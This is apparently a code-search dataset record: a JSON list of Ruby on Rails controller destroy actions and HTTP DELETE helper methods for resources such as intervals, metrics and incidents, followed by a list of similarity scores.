[ "def destroy\n @interval = Interval.find(params[:id])\n @interval.destroy\n redirect_to(intervals_url)\n end", "def destroy\n @interval.destroy\n respond_to do |format|\n format.html { redirect_to intervals_url, notice: 'Interval was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @stock_interval.destroy\n respond_to do |format|\n format.html { redirect_to stock_intervals_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @interval_constraint.destroy\n respond_to do |format|\n format.html { redirect_to interval_constraints_url, notice: 'Interval constraint was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @heartbeat = Heartbeat.find(params[:id])\n @heartbeat.destroy\n\n respond_to do |format|\n format.html { redirect_to heartbeats_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @time_period.destroy\n format.json { head :no_content }\n end", "def destroy\n @threshold = Threshold.find(params[:id])\n @threshold.destroy\n\n respond_to do |format|\n format.html { redirect_to thresholds_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @time_gap = TimeGap.find(params[:id])\n @time_gap.destroy\n\n respond_to do |format|\n format.html { redirect_to time_gaps_url }\n format.json { head :ok }\n end\n end", "def incident_delete(statuspage_id, incident_id)\n data = {}\n data['statuspage_id'] = statuspage_id\n data['incident_id'] = incident_id\n\n request :method => :post,\n :url => @url + 'incident/delete',\n :payload => data\n end", "def destroy\n @lifespan = Lifespan.find(params[:id])\n @lifespan.destroy\n\n respond_to do |format|\n format.html { redirect_to lifespans_url }\n format.json { head :no_content }\n end\n end", "def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end", "def destroy\n @arrival_range = ArrivalRange.find(params[:id])\n @arrival_range.destroy\n\n respond_to do |format|\n format.html { redirect_to arrival_ranges_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @heartbeat.destroy\n\n head :no_content\n end", "def delete endpoint\n do_request :delete, endpoint\n end", "def destroy\n @rescue_time_chart.destroy\n respond_to do |format|\n format.html { redirect_to rescue_time_charts_url }\n format.json { head :no_content }\n end\n end", "def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end", "def destroy\n @threshold.destroy\n respond_to do |format|\n format.html { redirect_to thresholds_url, notice: 'Threshold was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin_sub_metric.destroy\n respond_to do |format|\n format.html { redirect_to admin_sub_metrics_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @gauge = Gauge.find(params[:id])\n @gauge.destroy\n\n respond_to do |format|\n format.html { redirect_to gauges_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @task_metric = TaskMetric.find(params[:id])\n @task_metric.destroy\n\n respond_to do |format|\n format.html { redirect_to task_metrics_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @periodic.destroy\n respond_to do |format|\n format.html { redirect_to periodics_url, notice: 'Periodic was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @duration.destroy\n\n head :no_content\n end", "def destroy\n @throughput_metric.destroy\n respond_to do |format|\n format.html { redirect_to throughput_metrics_url }\n format.json { head :no_content }\n end\n end", "def delete_segment_batch(segment_id_array)\n payload = segment_id_array.to_s\n url = \"#{@base_url}/segments_batch\"\n return RestClient::Request.execute(:method => :delete, :url => url, :payload => payload){|response, request, result| response }\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @counter_schedule.destroy\n respond_to do |format|\n format.html { redirect_to counter_schedules_url, notice: 'Counter schedule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @salary_range = SalaryRange.find(params[:id])\n @salary_range.destroy\n\n respond_to do |format|\n format.html { redirect_to salary_ranges_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bg_measurement.destroy\n respond_to do |format|\n format.html { redirect_to bg_measurements_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bg_measurement.destroy\n respond_to do |format|\n format.html { redirect_to bg_measurements_url }\n format.json { head :no_content }\n end\n end", "def DeleteTrigger id\n \n APICall(path: \"triggers/#{id}.json\",method: 'DELETE')\n \n end", "def delete()\n @client.make_request(:delete, @client.concat_user_path(\"#{DOMAIN_PATH}/#{domain_id}/endpoints/#{id}\"))[0]\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def destroy\n @daily_intake.destroy\n respond_to do |format|\n format.html { redirect_to daily_intakes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @trustees_minute.destroy\n respond_to do |format|\n format.html { redirect_to trustees_minutes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @running_measurement.destroy\n respond_to do |format|\n format.html { redirect_to running_measurements_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @interviewscheduler.destroy\n respond_to do |format|\n format.html { redirect_to interviewschedulers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @downtime.destroy\n respond_to do |format|\n format.html { redirect_to downtimes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin_cron_request.destroy\n respond_to do |format|\n format.html { redirect_to admin_cron_requests_url, notice: I18n.t('admin.cron_requests.destroy.message.success') }\n format.json { head :no_content }\n end\n end", "def destroy\n @interruption = Interruption.find(params[:id])\n @interruption.destroy\n\n respond_to do |format|\n format.html { redirect_to interruptions_url }\n format.json { head :no_content }\n end\n end", "def delete(path)\n RestClient.delete request_base+path\n end", "def destroy\n @timer = Timer.find(params[:id])\n @timer.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @metric_speedtest.destroy\n respond_to do |format|\n format.html { redirect_to metric_speedtests_url }\n format.json { head :no_content }\n end\n end", "def maintenance_delete(statuspage_id, maintenance_id)\n data = {}\n data['statuspage_id'] = statuspage_id\n data['maintenance_id'] = maintenance_id\n\n request :method => :post,\n :url => @url + 'maintenance/delete',\n :payload => data\n end", "def destroy\n @periodic.destroy\n respond_to do |format|\n format.html { redirect_to periodics_url, notice: 'Periódico excluido com sucesso.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @timechart = Timechart.find(params[:id])\n @timechart.destroy\n\n respond_to do |format|\n format.html { redirect_to timecharts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @time_section = TimeSection.find(params[:id])\n @time_section.destroy\n\n respond_to do |format|\n format.html { redirect_to time_sections_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @one_time_stop = OneTimeStop.find(params[:id])\n @one_time_stop.destroy\n\n respond_to do |format|\n format.html { redirect_to one_time_stops_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @datapoint.destroy\n respond_to do |format|\n format.html { redirect_to datapoints_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @api_v1_metrics_dashboards_segment.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_metrics_dashboards_segments_url, notice: 'Metrics dashboards segment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @metric = Metric.find(params[:id])\n @metric.destroy\n\n head :no_content\n end", "def destroy\n @incident.destroy\n respond_to do |format|\n format.html { redirect_to incidents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @incident.destroy\n respond_to do |format|\n format.html { redirect_to incidents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @minute = Minute.find(params[:id])\n @minute.destroy\n\n respond_to do |format|\n format.html { redirect_to(minutes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @intolerance.destroy\n respond_to do |format|\n format.html { redirect_to intolerances_url, notice: 'Intolerance was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @tick.destroy\n respond_to do |format|\n format.html { redirect_to ticks_url, notice: 'Tick was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @time_series.destroy\n\n respond_to do |format|\n format.html { redirect_to time_series_index_url(@owner), flash: {success: t('app.msgs.success_deleted', :obj => t('mongoid.models.time_series.one'))} }\n format.json { head :no_content }\n end\n end", "def destroy\n @dbh_measurement.destroy\n respond_to do |format|\n format.html { redirect_to dbh_measurements_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @unidade_metrica = UnidadeMetrica.find(params[:id])\n @unidade_metrica.destroy\n\n respond_to do |format|\n format.html { redirect_to unidade_metricas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n metric.destroy\n\n respond_with(metric)\n end", "def destroy\n @periodicity.destroy\n respond_to do |format|\n format.html { redirect_to periodicities_url, notice: 'Periodicity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n authorize! :destroy, @db_repl_freq\n @db_repl_freq.destroy\n respond_to do |format|\n format.html { redirect_to db_repl_freqs_url, notice: 'Database replication frequency was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def api_remove\n data_hash = make_hash\n delete_hash = { division: data_hash[:division][:value] }\n handler.remove(delete_hash, path, subscriber_id)\n end", "def destroy\n @estimated_hour.destroy\n respond_to do |format|\n format.html { redirect_to estimated_hours_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @qty_range.destroy\n respond_to do |format|\n format.html { redirect_to qty_ranges_url, notice: \"Qty range was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @time_off_request = TimeOffRequest.find(params[:id])\n @time_off_request.destroy\n \n respond_to do |format|\n format.html { redirect_to admin_time_off_requests_url}\n format.json { head :ok }\n end\n end", "def destroy\n @clinic_timing = ClinicTiming.find(params[:id])\n @clinic_timing.destroy\n\n respond_to do |format|\n format.html { redirect_to clinic_timings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @occurrence_bulletin.destroy\n respond_to do |format|\n format.html { redirect_to occurrence_bulletins_url, notice: 'Occurrence bulletin was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @schedule_cohort_period.destroy\n respond_to do |format|\n format.html { redirect_to schedule_cohort_periods_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @dis_duration.destroy\n respond_to do |format|\n format.html { redirect_to dis_durations_url, notice: 'Dis duration was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @section_timing.destroy\n respond_to do |format|\n format.html { redirect_to section_timings_url, notice: 'Section timing was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def deleteEntityOpening_times( entity_id)\n params = Hash.new\n params['entity_id'] = entity_id\n return doCurl(\"delete\",\"/entity/opening_times\",params)\n end", "def destroy\n @sleep_datum.destroy\n respond_to do |format|\n format.html { redirect_to sleep_data_url, notice: 'Sleep datum was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end", "def destroy\n @time_frame.destroy\n\n respond_to do |format|\n format.html { redirect_to time_frames_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @datum = Datum.find(params[:id])\n @datum.destroy\n\n respond_to do |format|\n format.html { redirect_to data_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @datum = Datum.find(params[:id])\n @datum.destroy\n\n respond_to do |format|\n format.html { redirect_to data_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @endpoint.destroy\n respond_to do |format|\n format.html { redirect_to endpoints_url }\n format.json { head :no_content }\n format.js\n end\n end", "def destroy\n @alarm_task = AlarmTask.find(params[:id])\n @alarm_task.destroy\n\n respond_to do |format|\n format.html { redirect_to alarm_tasks_url }\n format.json { head :ok }\n end\n end", "def destroy\n authorize! :manage, @vspec\n metric = @vspec.metric\n @vspec.destroy\n respond_to do |format|\n format.html { redirect_to [metric.service, metric] }\n format.json { head :no_content }\n end\n end", "def destroy\n @quantile_period = QuantilePeriod.find(params[:id])\n @quantile_period.destroy\n\n respond_to do |format|\n format.html { redirect_to quantile_periods_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @minutes_minute.destroy\n respond_to do |format|\n format.html { redirect_to minutes_minutes_url, notice: 'Protokoll erfolgreich gelöscht.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @congestion = Congestion.find(params[:id])\n @congestion.destroy\n\n respond_to do |format|\n format.html { redirect_to congestions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @availability_duration.destroy\n respond_to do |format|\n format.html { redirect_to availability_durations_url, notice: 'Availability duration was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete datapoints\n datapoints = [*datapoints]\n datapoints.each do |dp|\n @user.delete \"/users/me/goals/#{@slug}/datapoints/#{dp.id}.json\"\n end\n end", "def delete path\n make_request(path, \"delete\", {})\n end", "def destroy\n @hurdle_time = HurdleTime.find(params[:id])\n @hurdle_time.destroy\n\n respond_to do |format|\n format.html { redirect_to hurdle_times_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @resource_period = ResourcePeriod.find(params[:id])\n @resource_period.destroy\n\n respond_to do |format|\n format.html { redirect_to(resource_periods_url) }\n format.json { head :ok }\n end\n end", "def delete\n start { |connection| connection.request http :Delete }\n end", "def destroy\n @timed_task.destroy\n respond_to do |format|\n format.html { redirect_to timed_tasks_url, notice: 'Timed task was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @incident = Incident.find(params[:id])\n @incident.destroy\n\n respond_to do |format|\n format.html { redirect_to incidents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @incident = Incident.find(params[:id])\n @incident.destroy\n\n respond_to do |format|\n format.html { redirect_to incidents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @incrustation_tmp = @incrustation.dup\n @incrustation.destroy\n record_activity(@incrustation_tmp)\n respond_to do |format|\n format.html { redirect_to admin_incrustations_url, notice: 'Вставка была успешно удалена.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @sampling.destroy\n respond_to do |format|\n format.html { redirect_to samplings_url, notice: 'Sampling was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def do_delete(uri = \"\")\n @connection.delete do |req|\n req.url uri\n req.headers['Content-Type'] = 'application/json'\n end\n end", "def destroy\n @nursing_time = NursingTime.find(params[:id])\n @nursing_time.destroy\n\n respond_to do |format|\n format.html { redirect_to nursing_times_url }\n format.json { head :ok }\n end\n end", "def delete(id)\n with_endpoint do |endpoint|\n url = [endpoint, @resource_name, id].compact.join('/')\n url += \"/\"\n return HTTParty.delete(url, :timeout => 4)\n end\n end", "def destroy\n @duration_frequency = DurationFrequency.find(params[:id])\n @duration_frequency.destroy\n\n respond_to do |format|\n format.html { redirect_to duration_frequencies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @api_v1_initiative_update.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_initiative_updates_url, notice: 'Initiative update was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @log_load_time.destroy\n respond_to do |format|\n format.html { redirect_to log_load_times_url, notice: 'Log load time was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n Iterable.request(conf, base_path).delete\n end" ]
[ "0.73726887", "0.7306665", "0.6756895", "0.6610774", "0.63216203", "0.62866354", "0.6198366", "0.615666", "0.61230856", "0.61127913", "0.60606503", "0.5990973", "0.59823424", "0.5953434", "0.59455365", "0.5942608", "0.59171945", "0.5908938", "0.5899089", "0.5884848", "0.58682173", "0.5859481", "0.58537304", "0.58499724", "0.5843355", "0.58419085", "0.58414316", "0.58320177", "0.58320177", "0.58244413", "0.5799006", "0.5792912", "0.5791897", "0.5790339", "0.5774613", "0.5773981", "0.5769529", "0.5765727", "0.57518953", "0.5740164", "0.5739484", "0.5737005", "0.57363045", "0.57339025", "0.572894", "0.5728274", "0.57282466", "0.57270944", "0.5717183", "0.5715349", "0.57151425", "0.57151425", "0.57046187", "0.57027334", "0.5688163", "0.56853044", "0.56843275", "0.5683749", "0.5680812", "0.5672337", "0.5668968", "0.5661713", "0.5661049", "0.56593335", "0.56588954", "0.5658138", "0.5654773", "0.56408197", "0.5638859", "0.5632764", "0.56247944", "0.56236595", "0.5621352", "0.562053", "0.56157243", "0.56157243", "0.5608732", "0.5607537", "0.56074274", "0.56046736", "0.560265", "0.5602414", "0.5602209", "0.5601461", "0.5600581", "0.55978423", "0.5590546", "0.55904096", "0.5589708", "0.55878115", "0.55878115", "0.55870783", "0.55836713", "0.5576007", "0.5573107", "0.5572313", "0.5570187", "0.5569285", "0.5567986", "0.5566222" ]
0.76928604
0
initliaze method intializes the object
def initialize(prompt, answer) @prompt = prompt @answer = answer end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def init; end", "def init; end", "def init; end", "def init; end", "def initialize\n\t\t\n\tend", "def init\n end", "def init\n end", "def init\n end", "def initialize\n init\n end", "def initialize() end", "def init\n\n end", "def initialize\n \n end", "def initialize\n initialize!\n end", "def initialize\n initialize!\n end", "def initialize\n\n\tend", "def initialize\n\n\tend", "def initialize\n\n\n\n end", "def init; end", "def initialize(obj); end", "def at_init\n\n\t\tend", "def initialize()\n\t\tend", "def initialize\n\n\nend", "def initialize()\n end", "def initialize\r\n\r\n end", "def initialize\n end", "def initialize\n \n end", "def initialize\n \n end", "def initialize\n \n end", "def initialize\n\t\nend", "def initialize\n super()\n init_data()\n end", "def initialize()\r\n\r\n end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize\n end", "def init\n\nend", "def initialize object\n\t\tself.object = object\n\tend", "def pre_initialize; end", "def initialize\nend", "def initialize()\n\tend", "def initialize()\n\tend", "def initialize\n puts \"constructor is automatically called when we create object\"\n end", "def initialize\n\nend", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def init(para=nil)\n @attributes = Array.new if @attributes.nil?\n @sequence = Array.new if @sequence.nil?\n\n set_objects_to_acessor\n set_attributes_to_reader\n if para.kind_of? Hash\n from_hash(para)\n end\nend", "def initialize\n\tinit\n\tsuper\nend", "def initialize\n # complete\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize()\n end", "def initialize()\n end", "def initialize()\n end", "def initialize()\n end", "def initialize()\n end", "def initialize()\n end", "def initialize()\n end", "def initialize()\n end", "def initialize(obj)\n __setobj__(obj)\n end", "def pre_initialize\n end", "def initialize(nombre,edad) #--> se crean los metodos, y se inicializan para darles un valor al crear el objeto \n @nombre = nombre #-->la variable local nombre es asignada a la var. de instancia @nombre, al realizar esto cada instancia tendra un valor propio.\n @edad = edad #--> lo mismo para edad\n\nend", "def initialize()\n #@ch = Concept.init_concept_hash()\n #Indexer.initialize_dict()\n #@ch = Indexer.init_concept_hash\n end", "def initialize(*) end", "def initialize(*) end", "def initialize(*) end", "def initialize(*) end", "def initialize(*) end", "def initialize\n\n end", "def initialize\n\n end", "def post_initialize\n end", "def initialize()\n\n end", "def Init()\n end", "def constructor; end", "def initialize()\n\t\t@@obj_count += 1\n\tend", "def initialize(*args)\n super\n self.absorbido = {}\n self.absorbido[batalla.flota_atacante.object_id] = 0\n self.absorbido[batalla.flota_defensora.object_id] = 0\n end", "def init\n self\n end", "def initialize\n set_config\n end", "def init\n raise NotImplementedError\n end", "def initialize(config_obj)\n @name = config_obj[:name]\n @scene = config_obj[:scene]\n @points = 0.0\n end", "def post_init\n end", "def initialize\n # nothing here for now\n end", "def initialize\n end" ]
[ "0.7735847", "0.7735847", "0.7735847", "0.7735847", "0.76654553", "0.7631351", "0.7631351", "0.7631351", "0.76197916", "0.75663346", "0.7490353", "0.7469086", "0.74536437", "0.74536437", "0.7419529", "0.7419529", "0.7392053", "0.7378716", "0.735957", "0.7347951", "0.7337372", "0.730951", "0.73063546", "0.7266222", "0.7242157", "0.7218716", "0.7198879", "0.7198879", "0.7161688", "0.7150646", "0.71282816", "0.71264946", "0.71264946", "0.71264946", "0.71264946", "0.71264946", "0.71264946", "0.71264946", "0.71264946", "0.71264946", "0.71264946", "0.71264946", "0.7110911", "0.7107239", "0.70777756", "0.7069644", "0.7064972", "0.70643926", "0.70643926", "0.7051247", "0.7006075", "0.7003969", "0.7003969", "0.7003969", "0.7003969", "0.7003969", "0.7003969", "0.7000568", "0.6974956", "0.697004", "0.6964846", "0.6964846", "0.6964846", "0.6964846", "0.6964846", "0.6964846", "0.6964846", "0.6964846", "0.6964846", "0.69565135", "0.69565135", "0.69565135", "0.69565135", "0.69565135", "0.69565135", "0.69565135", "0.69565135", "0.6907671", "0.69019836", "0.68935853", "0.6880793", "0.687616", "0.687616", "0.687616", "0.687616", "0.687616", "0.68638426", "0.68638426", "0.68472767", "0.6845156", "0.6843721", "0.6842662", "0.6826318", "0.6824296", "0.6799859", "0.67967165", "0.67846936", "0.67745507", "0.6758255", "0.6757015", "0.67281145" ]
0.0
-1
| aliases to compose, so you can do something like: (CreateOrder | ChargeCard.new(token: params[:token]) | SendThankYou).call
def compose(interactor) Interactors::Sequence.new.compose(self).compose(interactor) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def compose proc1, proc2\n Proc.new do |x|\n proc2.call(proc1.call(x)) #put proc1 into parenthesis inorder for it to be done first\n end\nend", "def compose(g)\n\t\t\t\tlambda do |*a,&b|\n\t\t\t\t\tself.call(*g.call(*a,&b))\n\t\t\t\tend\n\t\t\tend", "def compose(proc1, proc2)\n Proc.new do |x|\n proc2.call(proc1.call(x)) # parenthesis needed so proc1 calls first\n end\nend", "def compose(block)\n block.yield self\n end", "def compose proc1, proc2\n Proc.new { |x| proc2.call(proc1.call(x)) }\nend", "def compose(proc1, proc2)\n Proc.new do |x|\n proc2.call(proc1.call(x))\n end\nend", "def compose(proc1, proc2)\n Proc.new do |x|\n proc2.call(proc1.call(x))\n end\nend", "def compose(proc1, proc2)\n Proc.new do |x|\n proc2.call(proc1.call(x))\n end\nend", "def compose\n raise NotImplementedError.new\n end", "def compose proc1, proc2\n Proc.new do |x|\n proc2.call(proc1.call(x))\n end\nend", "def compose proc1, proc2\n Proc.new do |x|\n proc2.call(proc1.call(x))\n end\nend", "def compose proc1, proc2\n Proc.new do |x|\n proc2.call(proc1.call(x))\n end\nend", "def compose proc1, proc2\n Proc.new do |x|\n proc2.call(proc1.call(x))\n end\nend", "def compose(*fns)\n pipe(*fns.reverse)\n end", "def compose(input, output)\n composer.call(input, output)\n end", "def compose(proc1, proc2)\n proc do |x|\n proc2.call(proc1.call(x))\n end\nend", "def |(arg0)\n end", "def |(arg0)\n end", "def |(arg0)\n end", "def compose(f1, f2)\n proc {|*x|f1.call(f2.call(*x))}\n end", "def compose(f, g)\r\n\treturn lambda {|z| f.call(g.call(z))}\r\nend", "def |(parslet); end", "def |(parslet); end", "def compose\n ->(*fs) {\n _compose = ->(x, *fs) {\n fs.length == 1 ? fs[0].(x) : fs[0].(_compose.(x, *fs[1..-1]))\n }\n\n ->(x) { _compose.(x, *fs) }\n }\n end", "def compose_or(first_condition, second_condition)\n validate_condition(first_condition)\n validate_condition(second_condition)\n first_condition.or(second_condition)\n end", "def chain(&block)\n commands = Commands.new(mode: :chain)\n commands.instance_eval(&block)\n self.!(commands)\n end", "def composite(*components)\n [:composite, components, Reader::Position.caller(2)]\n end", "def compose(f, g)\n ->(*args) { f.call(g.call(*args)) }\n end", "def &(second)\n @operations << AndOperationsGroup.new(tail_ops!(2))\n self\n end", "def op(*args, &block)\n Operation.new(*args, &block)\n end", "def |(p0) end", "def |(p0) end", "def |(p0) end", "def |(p0) end", "def |(p0) end", "def |(p0) end", "def compose( &block )\n cc = Class.new(Component) do\n define_method( :install, &block)\n end\n @composed += 1\n self.class.const_set( \"Composed#{@composed}\", cc )\n cc.new\n end", "def command(*names)\n command_options = {\n :description => @next_desc,\n :arguments_name => @next_arg_name,\n :arguments_options => @next_arg_options,\n :arguments => @next_arguments,\n :long_desc => @next_long_desc,\n :skips_pre => @skips_pre,\n :skips_post => @skips_post,\n :skips_around => @skips_around,\n :hide_commands_without_desc => @hide_commands_without_desc,\n }\n @commands_declaration_order ||= []\n if names.first.kind_of? Hash\n command = GLI::Commands::CompoundCommand.new(self,\n names.first,\n command_options)\n command.parent = self\n commands[command.name] = command\n @commands_declaration_order << command\n else\n new_command = Command.new(command_options.merge(:names => [names].flatten))\n command = commands[new_command.name]\n if command.nil?\n command = new_command\n command.parent = self\n commands[command.name] = command\n @commands_declaration_order << command\n end\n yield command\n end\n clear_nexts\n @next_arguments = []\n command\n end", "def command(*names)\n command = Command.new([names].flatten,@@next_desc,@@next_arg_name,@@next_long_desc,@@skips_pre,@@skips_post)\n commands[command.name] = command\n yield command\n clear_nexts\n end", "def pipe(&block)\n cmds = Commands.new(mode: :pipe)\n cmds.instance_eval(&block)\n self.!(cmds.to_a)\n end", "def compose(other)\n Functors.compose(self, other)\n end", "def call(*command); end", "def compose_and(first_condition, second_condition)\n validate_condition(first_condition)\n validate_condition(second_condition)\n first_condition.and(second_condition)\n end", "def pipeline_operator!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 11 )\n\n type = PIPELINE_OPERATOR\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 55:3: ( '&&' | '||' | '|' | '&' )\n alt_17 = 4\n look_17_0 = @input.peek( 1 )\n\n if ( look_17_0 == 0x26 )\n look_17_1 = @input.peek( 2 )\n\n if ( look_17_1 == 0x26 )\n alt_17 = 1\n else\n alt_17 = 4\n end\n elsif ( look_17_0 == 0x7c )\n look_17_2 = @input.peek( 2 )\n\n if ( look_17_2 == 0x7c )\n alt_17 = 2\n else\n alt_17 = 3\n end\n else\n raise NoViableAlternative( \"\", 17, 0 )\n end\n case alt_17\n when 1\n # at line 55:5: '&&'\n match( \"&&\" )\n\n when 2\n # at line 55:12: '||'\n match( \"||\" )\n\n when 3\n # at line 55:19: '|'\n match( 0x7c )\n\n when 4\n # at line 55:25: '&'\n match( 0x26 )\n # --> action\n @cmd_start = true \n # <-- action\n\n end\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 11 )\n\n end", "def chain *messages, &guard\n return self if messages.empty? or not(\n (block_given? ? (yield_or_eval(&guard)) : self))\n\n (send_as_function messages.shift).chain(*messages, &guard)\n end", "def |(other)\n return self.class.new(super.|(other)) \n end", "def client_code2(component1, component2)\n component1.add(component2) if component1.composite?\n\n print \"RESULT: #{component1.operation}\"\nend", "def compose(str)\n raise NotImplementedError\n end", "def |(other)\n a = first_param\n b = other.first_param\n\n case\n when a.is_a?(RequiredPositional) && b.is_a?(RequiredPositional)\n AST::Types::Union.build(types: [a.type, b.type]).yield_self do |type|\n (self.drop_first | other.drop_first)&.with_first_param(RequiredPositional.new(type))\n end\n when a.is_a?(RequiredPositional) && b.is_a?(OptionalPositional)\n AST::Types::Union.build(types: [a.type, b.type]).yield_self do |type|\n (self.drop_first | other.drop_first)&.with_first_param(OptionalPositional.new(type))\n end\n when a.is_a?(RequiredPositional) && b.is_a?(RestPositional)\n AST::Types::Union.build(types: [a.type, b.type]).yield_self do |type|\n (self.drop_first | other.drop_first)&.with_first_param(OptionalPositional.new(type))\n end\n when a.is_a?(RequiredPositional) && b.nil?\n self.drop_first&.with_first_param(OptionalPositional.new(a.type))\n when a.is_a?(OptionalPositional) && b.is_a?(RequiredPositional)\n AST::Types::Union.build(types: [a.type, b.type]).yield_self do |type|\n (self.drop_first | other.drop_first)&.with_first_param(OptionalPositional.new(type))\n end\n when a.is_a?(OptionalPositional) && b.is_a?(OptionalPositional)\n AST::Types::Union.build(types: [a.type, b.type]).yield_self do |type|\n (self.drop_first | other.drop_first)&.with_first_param(OptionalPositional.new(type))\n end\n when a.is_a?(OptionalPositional) && b.is_a?(RestPositional)\n AST::Types::Union.build(types: [a.type, b.type]).yield_self do |type|\n (self.drop_first | other.drop_first)&.with_first_param(OptionalPositional.new(type))\n end\n when a.is_a?(OptionalPositional) && b.nil?\n (self.drop_first | other)&.with_first_param(a)\n when a.is_a?(RestPositional) && b.is_a?(RequiredPositional)\n AST::Types::Union.build(types: [a.type, b.type]).yield_self do |type|\n (self.drop_first | other.drop_first)&.with_first_param(OptionalPositional.new(type))\n end\n when a.is_a?(RestPositional) && b.is_a?(OptionalPositional)\n AST::Types::Union.build(types: [a.type, b.type]).yield_self do |type|\n (self | other.drop_first)&.with_first_param(OptionalPositional.new(type))\n end\n when a.is_a?(RestPositional) && b.is_a?(RestPositional)\n AST::Types::Union.build(types: [a.type, b.type]).yield_self do |type|\n (self.drop_first | other.drop_first)&.with_first_param(RestPositional.new(type))\n end\n when a.is_a?(RestPositional) && b.nil?\n (self.drop_first | other)&.with_first_param(a)\n when a.nil? && b.is_a?(RequiredPositional)\n other.drop_first&.with_first_param(OptionalPositional.new(b.type))\n when a.nil? && b.is_a?(OptionalPositional)\n (self | other.drop_first)&.with_first_param(b)\n when a.nil? && b.is_a?(RestPositional)\n (self | other.drop_first)&.with_first_param(b)\n when a.nil? && b.nil?\n required_keywords = {}\n optional_keywords = {}\n\n (Set.new(self.required_keywords.keys) & Set.new(other.required_keywords.keys)).each do |keyword|\n 